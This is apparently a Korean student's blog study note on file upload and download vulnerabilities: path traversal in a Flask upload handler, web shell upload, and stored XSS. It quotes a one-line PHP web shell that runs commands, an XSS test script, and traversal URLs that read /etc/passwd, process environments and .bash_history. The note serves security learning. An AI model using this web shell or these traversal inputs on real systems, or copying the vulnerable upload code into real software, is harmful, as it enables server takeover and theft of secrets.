2024. 5. 6. 00:11ㆍSTUDY
File Vulnerability 파일 취약점
File Upload Vulnerability
웹 서비스를 통해 파일을 서버의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점
업로드될 파일의 이름을 임의로 정할 수 있을 때 발생
- 파일 이름에 이용자가 입력한 문자열을 그대로 사용
- 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴
Path Traversal 취약점
특정 디렉터리에만 업로드를 허용하는 제약을 우회하여, 임의 디렉터리에 파일을 업로드 할 수 있는 취약점
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
if request.method == 'POST': //POST 요청을 받으면
f = request.files['file']
f.save("./uploads/" + f.filename) // ./uploads/에 저장
return 'Upload Success'
입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약함
ex) ../ => upload를 벗어나 상위 디렉터리에 파일 업로드 가능
악성 파일 업로드 취약점
이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점
CGI(Common Gateway Interface) : 동적인 컨텐츠를 처리하기 위해서 웹 서버와 php 같은 외부의 프로그램에 사이에서 인터페이스를 제공하는 프로토콜
웹 셸 업로드
php 확장자를 가진 파일이 정상적으로 php 스크립트 엔진에 실행되고자 할 때
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
//exploit.php
<?php
system("ls");
system($_GET[x]);
?>
stored xss 시도
//exploit.html
<script>alert(1);</script>
File Download Vulnerability
웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점
이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생
파일 다운로드 취약점이 자주 발생하는 URL 패턴
https://vulnerable-web.dreamhack.io/download/?filename=notes.txt
https://vulnerable-web.dreamhack.io/download/?filename=../../../../../../etc/passwd
https://vulnerable-web.dreamhack.io/images.php?fn=6ed0dd02806fa89e233b84f4.png
프로세스의 환경 변수 확인
/proc/[pid]/environ
/proc/self/environ
이용자가 프로세스를 호출하기 전에 환경 변수를 bash의 명령어로 설정했다면 => .bash_history
ex) path > ../../../home/dreamhack/.bash_history
'STUDY' 카테고리의 다른 글
[CRYPTOFRAPHY] cryptography (0) | 2024.05.09 |
---|---|
[WEB] SSRF (0) | 2024.05.06 |
[WEB] command injection (0) | 2024.03.06 |
[SYSTEM] Docker (1) | 2023.10.31 |
[NETWORK] SSH (1) | 2023.10.31 |